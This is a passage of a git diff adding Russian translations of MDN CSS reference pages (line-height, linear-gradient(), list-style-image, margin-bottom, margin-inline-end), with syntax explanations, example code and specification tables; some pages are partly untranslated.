+ <li><code><a href="#&lt;length>">&lt;величины&gt;</a></code></li>
+ <li><code><a href="#&lt;percentage>">&lt;процентного соотношения&gt;</a></code></li>
+ <li>ключевого слова <code><a href="#normal">normal</a></code>.</li>
+</ul>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code><a id="normal" name="normal">normal</a></code></dt>
+ <dd>Зависит от пользовательского браузера. Компьютерные браузеры (включая Firefox) используют значение по умолчанию приблизительно <strong><code>1.2</code></strong>, в зависимости от элементов <code>font-family</code>.</dd>
+ <dt><code><a id="&lt;number>" name="&lt;number>">&lt;число&gt;</a></code></dt>
+ <dd>Используемое значение это бесконечное умножение {{cssxref("&lt;числа&gt;")}} на собственный размер шрифта элементов. Вычисленное значение это и есть  <code>&lt;число&gt;</code>. В большинстве случаев <strong> это предпочтительный способ установки значения</strong> <code>line-height</code> и позволяет избежать непредвиденных результатов при наследовании.</dd>
+ <dt><code><a id="&lt;length>" name="&lt;length>">&lt;величина&gt;</a></code></dt>
+ <dd>Указанная {{cssxref("&lt;величина&gt;")}} используется при вычислении высоты блока строки. Значение, заданное в  единицах <strong>em</strong> может привести к непредвидимым результатам (смотри пример ниже).</dd>
+ <dt><code><a id="&lt;percentage>" name="&lt;percentage>">&lt;процентное соотношение&gt;</a></code></dt>
+ <dd>Относительно размера шрифта самого элемента.</dd>
+ <dd>Relative to the font size of the element itself. The computed value is this {{cssxref("&lt;percentage&gt;")}} multiplied by the element's computed font size. <strong>Percentage</strong> values may produce unexpected results (see the second example below).</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<pre class="brush: css">/* All rules below have the same resultant line height */
+
+div { line-height: 1.2;   font-size: 10pt; }   /* number */
+div { line-height: 1.2em; font-size: 10pt; }   /* length */
+div { line-height: 120%;  font-size: 10pt; }   /* percentage */
+div { font: 10pt/1.2  Georgia,"Bitstream Charter",serif; } /* font shorthand */</pre>
+
+<p>It is often more convenient to set <code>line-height</code> by using the {{cssxref("font")}} shorthand as shown above, but this requires the <code>font-family</code> property to be specified as well.</p>
+
+<h3 id="Prefer_unitless_numbers_for_line-height_values">Prefer unitless numbers for line-height values</h3>
+
+<p>This example shows why it is better to use {{cssxref("&lt;number&gt;")}} values instead of {{cssxref("&lt;length&gt;")}} values. We will use two {{HTMLElement("div")}} elements. The first, with the green border, uses a unitless <code>line-height</code> value. The second, with the red border, uses a <code>line-height</code> value defined in <code>em</code>s.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.green {
+  line-height: 1.1;
+  border: solid limegreen;
+}
+
+.red {
+  line-height: 1.1em;
+  border: solid red;
+}
+
+h1 {
+  font-size: 30px;
+}
+
+.box {
+  width: 18em;
+  display: inline-block;
+  vertical-align: top;
+  font-size: 15px;
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="box green"&gt;
+ &lt;h1&gt;Avoid unexpected results by using unitless line-height.&lt;/h1&gt;
+  length and percentage line-heights have poor inheritance behavior ...
+&lt;/div&gt;
+
+&lt;div class="box red"&gt;
+ &lt;h1&gt;Avoid unexpected results by using unitless line-height.&lt;/h1&gt;
+  length and percentage line-heights have poor inheritance behavior ...
+&lt;/div&gt;
+
+&lt;!-- The first &lt;h1&gt; line-height is calculated from its own font-size   (30px × 1.1) = 33px  --&gt;
+&lt;!-- The second &lt;h1&gt; line-height results from the red div's font-size  (15px × 1.1) = 16.5px,  probably not what you want --&gt;
+</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample('Prefer_unitless_numbers_for_line-height_values', 600, 200)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'line-height')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Defines <code>line-height</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#propdef-line-height', 'line-height')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#line-height', 'line-height')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.line-height")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{Cssxref("font")}}, {{Cssxref("font-size")}}</li>
+</ul>
diff --git a/files/ru/web/css/linear-gradient()/index.html b/files/ru/web/css/linear-gradient()/index.html
new file mode 100644
index 0000000000..4433b0587d
--- /dev/null
+++ b/files/ru/web/css/linear-gradient()/index.html
@@ -0,0 +1,212 @@
+---
+title: linear-gradient()
+slug: Web/CSS/linear-gradient()
+tags:
+  - Градиент
+  - Линейный градиент
+translation_of: Web/CSS/linear-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-функция <strong><code>linear-gradient()</code></strong> создаёт изображение, состоящее из постепенного перехода между двумя или более цветами вдоль прямой линии. Её результатом является объект типа данных {{CSSxRef("&lt;gradient&gt;")}}, являющийся особым видом {{CSSxRef("&lt;image&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}</div>
+
+<div class="hidden">Исходник для этого интерактивного примера хранится в GitHub-репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на извлечение.</div>
+
+<p>Как и в случае с любым градиентом, линейный градиент не имеет <a href="/en-US/docs/CSS/image#no_intrinsic">внутренних размеров</a>; т. е., он не имеет ни естественного или предпочтительного размера, ни предпочтительного соотношения сторон. Его фактический размер будет совпадать с размеров элемента, к которому он применён.</p>
+
+<p>Для создания линейного градиента, повторяющегося таким образом, что он заполняет содержащий его элемент, лучше используйте функцию {{CSSxRef("repeating-linear-gradient")}}.</p>
+
+<p>Так как <code>&lt;gradient&gt;</code>ы относятся к типу данных <code>&lt;image&gt;</code>, они могут использоваться только там, где может использоваться <code>&lt;image&gt;</code>. По этой причине, <code>linear-gradient()</code> не будет работать в качестве {{CSSxRef("background-color")}} и других свойств, использующих тип данных {{CSSxRef("&lt;color&gt;")}}.</p>
+
+<h2 id="Создание_линейного_градиента">Создание линейного градиента</h2>
+
+<p>Линейный градиент определяется осью — <em>линией градиента</em> — и двумя или более <em>точками остановки цвета</em>. Каждая точка на оси – это определённый цвет; для создания плавного градиента функция <code>linear-gradient()</code> рисует серию цветных линий, перпендикулярных линии градиента, каждая из них соответствует цвету точки, в которой она пересекает линию градиента.</p>
+
+<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; height: 383px; width: 309px;"></p>
+
+<p>Линия градиента определена центром блока, содержащего изображение градиента, и углом. Цвета градиента задаются двумя или более точками: начальной точкой, конечной точкой, и необязательными точками остановки цвета между ними.</p>
+
+<p><em>Начальная точка</em> – это место на линии градиента, где начинается первый цвет. <em>Конечная точка</em> – это точка, на которой заканчивается последний цвет. Каждая из этих двух точек определяется пересечением линии градиента с перпендикулярной линией, проходящей от угла, находящегося в том же квадранте блока. Конечную точку можно просто считать как точку, симметричную начальной точке. Эти несколько сложные определения приводят к интересному эффекту, иногда называемому <em>магическими углами</em>: углы, ближайшие к начальной и конечной точке, имеют те же цвета, что и соответствующая им начальная или конечная точка.</p>
+
+<h3 id="Настройка_градиентов">Настройка градиентов</h3>
+
+<p>Добавляя больше точек остановки цвета на линию градиента, вы можете точно задавать переходы между разными цветами. Позиции остановок цвета могут быть явно заданы использованием значений типа {{CSSxRef("&lt;length&gt;")}} или {{CSSxRef("&lt;percentage&gt;")}}. Если вы не определите расположение цвета, он будет расположен посередине между предыдущим и следующим цветом. Следующие два градиента эквивалентны.</p>
+
+<pre class="brush: css">linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);</pre>
+
+<p>По умолчанию цвета переходят плавно от цвета на одной точке остановки до цвета на следующей точке остановки, по середине которого – точка, являющаяся половиной перехода от одного цвета к другому. Вы можете двигать эту среднюю точку в любую позицию между двумя точками остановки цвета, добавляя цветовую подсказку в виде значения в % между двумя цветами для того, чтобы обозначить, где должна находиться середина цветового перехода. В следующем примере показан чисто красный цвет от начала до отметки 10% и чисто синий от 90% до конца. Между 10% и 90% цвет переходит от красного до синего, однако середина цветового перехода находится на отметке 30%, а не на 50%, как было бы без добавления цветовой подсказки 30%.</p>
+
+<pre class="brush: css">linear-gradient(red 10%, 30%, blue 90%);</pre>
+
+<p>Если две или более точки остановки цвета находятся в одной и той же позиции, переход будет в виде чёткой линии между первым и последним цветом, объявленным на этой позиции.</p>
+
+<p>Точки остановки цвета должны быть перечислены в порядке возрастания. Соседние точки остановки цвета с меньшим значением переопределят значение предыдущей точки остановки цвета, создавая резкий переход. В примере ниже на позиции 30% происходит замена красного на жёлтый, и затем идёт переход от жёлтого до синего на протяжении 35% длины градиента.</p>
+
+<pre class="brush: css">linear-gradient(red 40%, yellow 30%, blue 65%);
+</pre>
+
+<p>Допустимо использовать многопозиционную остановку цвета. Цвет может быть объявлен как две смежных точки остановки цвета, если включить его в обе позиции в CSS-объявлении. Следующие три градиента эквивалентны:</p>
+
+<pre class="brush: css">linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);</pre>
+
+<p>По умолчанию, если на остановку 0% не задан цвет, то на этой точке будет располагаться первый объявленный цвет. Аналогично, последний цвет будет продолжаться до отметки 100%, или будет на отметке 100%, если на этой последней остановке не было объявлено никакой длины.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="language-css" id="css">/* Градиент наклонён на 45 градусов,
+   начинается с синего, заканчивается красным */
+linear-gradient(45deg, blue, red);
+
+/* Градиент идёт от правого нижнего до левого верхнего угла,
+   от синего до красного */
+linear-gradient(to left top, blue, red);
+
+/* Остановка цвета: градиент идёт снизу вверх,
+   начинается синим, становится зелёным на 40% своей длины,
+   и заканчивается красным */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* Цветовая подсказка: градиент идёт слева направо,
+   начинается с красного, достигает среднего цвета
+   на 10% пути длины градиента,
+   занимая оставшиеся 90% длины переходом в синий */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* Многопозиционная остановка цвета: градиент повёрнут на 45 градусов,
+   с красной нижней левой половиной, синей верхней правой половиной,
+   с чёткой линией на месте перехода градиента из красного в синий */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;side-or-corner&gt;</code></dt>
+ <dd>Позиция начальной точки линии градиента. Если указана, то должна состоять из слова <code>to</code> и максимум до двух ключевых слов включительно: одно обозначает горизонтальную сторону (<code>left</code> или <code>right</code>), а другое – вертикальную сторону (<code>top</code> или <code>bottom</code>). Порядок ключевых слов не важен. Если не определено, то принимает значение <code>to bottom</code>.</dd>
+ <dd>Значения <code>to top</code>, <code>to bottom</code>, <code>to left</code> и <code>to right</code> эквивалентны углам <code>0deg</code>, <code>180deg</code>, <code>270deg</code> и <code>90deg</code>, соответственно. Другие значения переводятся в значение угла.</dd>
+ <dt>{{CSSxRef("&lt;angle&gt;")}}</dt>
+ <dd>Угол направления линии градиента. Значение <code>0deg</code> эквивалентно <code>to top</code>; увеличение значения увеличивает угол поворота по часовой стрелке от этой позиции.</dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>Значение точки остановки цвета {{CSSxRef("&lt;color&gt;")}}, с последующими одной или двумя необязательными точками остановки (имеющими значение типа {{CSSxRef("&lt;percentage&gt;")}} или {{CSSxRef("&lt;length&gt;")}} вдоль оси градиента).</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd>Цветовая подсказка – это подсказка для перехода, определяющая, как градиент продвигается между соседними точками остановки цвета. Длина определяет, на какой точке между двумя точками остановки цвет градиента должен достичь среднего значения цветового перехода. Если не указано, средней точкой цветового перехода будет середина между двумя точками остановки цвета.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>Примечание:</strong> Отрисовка <a href="#Gradient_with_multiple_color_stops">цветовых остановок в CSS-градиентах</a> следует тем же правилам, что и цветовые остановки в <a href="/en-US/docs/Web/SVG/Tutorial/Gradients">SVG-градиентах</a>.</p>
+ </div>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">linear-gradient(
+  [ <a href="/en-US/CSS/angle">&lt;angle&gt;</a> | to &lt;side-or-corner&gt; ,]? &lt;color-stop-list&gt; )
+  \---------------------------------/ \----------------------------/
+      Определение линии градиента         Список остановок цвета
+
+где &lt;side-or-corner&gt; = [ left | right ] || [ top | bottom ]
+  и &lt;color-stop-list&gt; = [ &lt;linear-color-stop&gt; [, &lt;color-hint&gt; ]? ]#, &lt;linear-color-stop&gt;
+  и &lt;linear-color-stop&gt; = &lt;color&gt; [ &lt;color-stop-length&gt; ]?
+  и &lt;color-stop-length&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]{1,2}
+  и &lt;color-hint&gt; = [ &lt;percentage&gt; | &lt;length&gt; ]</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Градиент_под_углом_45_градусов">Градиент под углом 45 градусов</h3>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: linear-gradient(45deg, red, blue);
+}
+</pre>
+
+<p>{{EmbedLiveSample("Градиент_под_углом_45_градусов", 120, 120)}}</p>
+
+<h3 id="Градиент_начинающийся_на_60_линии_градиента">Градиент, начинающийся на 60% линии градиента</h3>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: linear-gradient(135deg, orange, orange 60%, cyan);
+}</pre>
+
+<p>{{EmbedLiveSample("Градиент_начинающийся_на_60_линии_градиента", 120, 120)}}</p>
+
+<h3 id="Градиент_с_многопозиционными_остановками_цвета">Градиент с многопозиционными остановками цвета</h3>
+
+<p>Этот пример использует многопозиционные остановки цвета, и со смежными цветами, имеющими те же точки остановки цвета, создаёт полосатый эффект.</p>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  width: 100vw;
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css">body {
+  background: linear-gradient(to right,
+     red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}</pre>
+
+<p>{{EmbedLiveSample("Градиент_с_многопозиционными_остановками_цвета", 120, 120)}}</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Больше примеров смотрите на странице <a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Использование CSS-градиентов</a>.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td>Добавлены подсказки по переходам</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<div>{{Compat("css.types.image.gradient.linear-gradient")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Images/Using_CSS_gradients">Использование CSS-градиентов</a></li>
+ <li>Другие градиентные функции: {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient")}}</li>
+ <li>{{CSSxRef("&lt;image&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/ru/web/css/list-style-image/index.html b/files/ru/web/css/list-style-image/index.html
new file mode 100644
index 0000000000..468e2493ae
--- /dev/null
+++ b/files/ru/web/css/list-style-image/index.html
@@ -0,0 +1,106 @@
+---
+title: list-style-image
+slug: Web/CSS/list-style-image
+tags:
+  - маркер списка
+  - список
+translation_of: Web/CSS/list-style-image
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>list-style-image </code></strong>устанавливает изображение, используемое в качестве маркера списка.</p>
+
+<p>Чаще, удобнее использовать общее свойство {{ cssxref("list-style") }}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/list-style-image.html")}}</div>
+
+
+
+<div class="note">
+<p><strong>Примечание:</strong> Это свойство применяется к элементам списка, т.е. к элементам с <code>{{cssxref("display")}}: list-item;</code> <a href="https://www.w3.org/TR/html5/rendering.html#lists">по умолчанию</a> оно включает элементы {{HTMLElement("li")}}. Т.к. это свойство наследуется, его можно задать для родительского элемента (обычно {{HTMLElement("ol")}} или {{HTMLElement("ul")}}), что позволит применить его ко всем элементам списка.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значение ключевым словом */
+list-style-image: none;
+
+/* &lt;url&gt; значения */
+list-style-image: url('starsolid.gif');
+
+/* Глобальные значения */
+list-style-image: inherit;
+list-style-image: initial;
+list-style-image: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;url&gt;")}}</dt>
+ <dd>Расположение элемента для использования в качестве маркера.</dd>
+ <dt><code>none</code></dt>
+ <dd>Указывает, что изображение не используется в качестве маркера списка. Если установлено это значение, вместо него будет использоваться маркер, определенный в {{ Cssxref("list-style-type") }}.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Item 1&lt;/li&gt;
+  &lt;li&gt;Item 2&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">ul {
+  list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif");
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Lists', '#list-style-image', 'list-style-image') }}</td>
+   <td>{{ Spec2('CSS3 Lists') }}</td>
+   <td>Расширяет поддержку любого типа данных {{cssxref("&lt;image&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'generate.html#propdef-list-style-image', 'list-style-image') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.list-style-image")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{Cssxref("list-style")}}, {{Cssxref("list-style-type")}}, {{Cssxref("list-style-position")}}</li>
+</ul>
diff --git a/files/ru/web/css/margin-bottom/index.html b/files/ru/web/css/margin-bottom/index.html
new file mode 100644
index 0000000000..729e6923b0
--- /dev/null
+++ b/files/ru/web/css/margin-bottom/index.html
@@ -0,0 +1,138 @@
+---
+title: margin-bottom
+slug: Web/CSS/margin-bottom
+tags:
+  - CSS
+  - CSS свойство
+translation_of: Web/CSS/margin-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a>  <strong><code>margin-bottom</code></strong> устанавливает внешний отступ внизу элемента. Положительное значение увеличивает расстояние между соседними элементами, тогда как отрицательное - сокращает.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}</div>
+
+<p class="hidden">Исходник этого интерактивного примера хранится на репозитории GitHub.Если вы хотите внести свой вклад в проект интерактивных примеров, перейдите по ссылке https://github.com/mdn/interactive-examples и отправьте нам запрос на добавление.</p>
+
+<p>                        <img alt="Влияние CSS свойства margin-bottom на блок элемента" src="https://mdn.mozillademos.org/files/16471/margin-bottomru.png" style="border-style: solid; border-width: 1px; font-size: 1rem; height: 150px; letter-spacing: -0.00278rem; width: 459px;"></p>
+
+<p>Это свойство не имеет воздействия на незамещаемые элементы, такие как {{HTMLElement("span")}} или {{HTMLElement("code")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* числовые значения */
+margin-bottom: 10px;  /* Абсолютная длина */
+margin-bottom: 1em;   /* относительно размера текста */
+margin-bottom: 5%;    /* относительно длины родительского блока */
+
+/* Значения-ключевые слова */
+margin-bottom: auto;
+
+/* Глобальные значения */
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;
+</pre>
+
+<p>Свойство <code>margin-bottom</code> может быть выражено как ключевое слово <code>auto</code>, или как <code>&lt;число&gt;</code>, или как <code>&lt;процент&gt;</code>. Значение может быть положительным, нулевым или отрицательным.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Размер отступа - фиксированная величина.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Размер отступа в процентах - размер относительно длины родительского блока.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Браузер сам выбирает, какое значение использовать. Смотрите {{cssxref("margin")}}.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+&lt;div class="box0"&gt;Блок 0&lt;/div&gt;
+&lt;div class="box1"&gt;Блок 1&lt;/div&gt;
+&lt;div class="box2"&gt;Отрицательное значение <code>margin</code> Блока 1 тянет меня вверх&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<p>CSS устанавливает нижний отступ и высоту для элементов <code>div</code>.</p>
+
+<pre class="brush: css">.box0 {
+    margin-bottom:1em;
+    height:3em;
+}
+.box1 {
+    margin-bottom:-1.5em;
+    height:4em;
+}
+.box2 {
+    border:1px dashed black;
+    border-width:1px 0;
+    margin-bottom:2em;
+}
+
+</pre>
+
+<p>Несколько дополнений к свойствам элемента <code>div</code> и элемента класса container сделают более наглядным эффект использования свойства <code>margin</code>.</p>
+
+<pre class="brush: css">.container {
+    background-color:orange;
+    width:320px;
+    border:1px solid black;
+}
+div {
+    width:320px;
+    background-color:gold;
+}</pre>
+
+<p>{{ EmbedLiveSample('Example',350,200) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#margin-bottom', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Нет значительных изменений</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>margin-bottom</code> как анимируемое.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Убирает влияние свойства на строчные элементы.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Поддержка браузерами</h2>
+
+<div class="hidden">Для создания таблицы совместимости из структурированных данных воспользуйтесь ресурсом <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте данные и отправьте нам пулл-реквест.</div>
+
+<p>{{Compat("css.properties.margin-bottom")}}</p>
diff --git a/files/ru/web/css/margin-inline-end/index.html b/files/ru/web/css/margin-inline-end/index.html
new file mode 100644
index 0000000000..d5e11e014c
--- /dev/null
+++ b/files/ru/web/css/margin-inline-end/index.html
@@ -0,0 +1,98 @@
+---
+title: margin-inline-end
+slug: Web/CSS/margin-inline-end
+translation_of: Web/CSS/margin-inline-end
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> Свойство <strong> <code>margin-inline-end </code></strong> определяет отступ логического края  элемента, который сопоставляется с физическим отступом в зависимомти от режима написания, направленности и расположения текста. То есть оно соответствует {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} или {{cssxref("margin-left")}} свойству в зависимости от числа определяющего {{cssxref("writing-mode")}}, {{cssxref("direction")}}, и {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-inline-end.html")}}</div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+margin-inline-end: 10px;   /* An absolute length */
+margin-inline-end: 1em;    /* relative to the text size */
+margin-inline-end: 5%;     /* relative to the nearest block container's width */
+
+/* Keyword values */
+margin-inline-end: auto;
+
+/* Global values */
+margin-inline-end: inherit;
+margin-inline-end: initial;
+margin-inline-end: unset;
+</pre>
+
+<p>It relates to {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}}, and {{cssxref("margin-inline-start")}}, which define the other margins of the element.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Values">Values</h3>
+
+<p>The <code>margin-inline-end</code> property takes the same values as the {{cssxref("margin-left")}} property.</p>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  margin-inline-end: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 140, 140)}}</p>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline-end", "margin-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.margin-inline-end")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("margin-inline-start")}}</li>
+ <li>The mapped physical properties: {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, and {{cssxref("margin-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/ru/web/css/margin-inline-start/index.html b/files/ru/web/css/margin-inline-start/index.html
new file mode 100644
index 0000000000..8da250fd43
--- /dev/null
+++ b/files/ru/web/css/margin-inline-start/index.html
@@ -0,0 +1,100 @@
+---
+title: margin-inline-start
+slug: Web/CSS/margin-inline-start
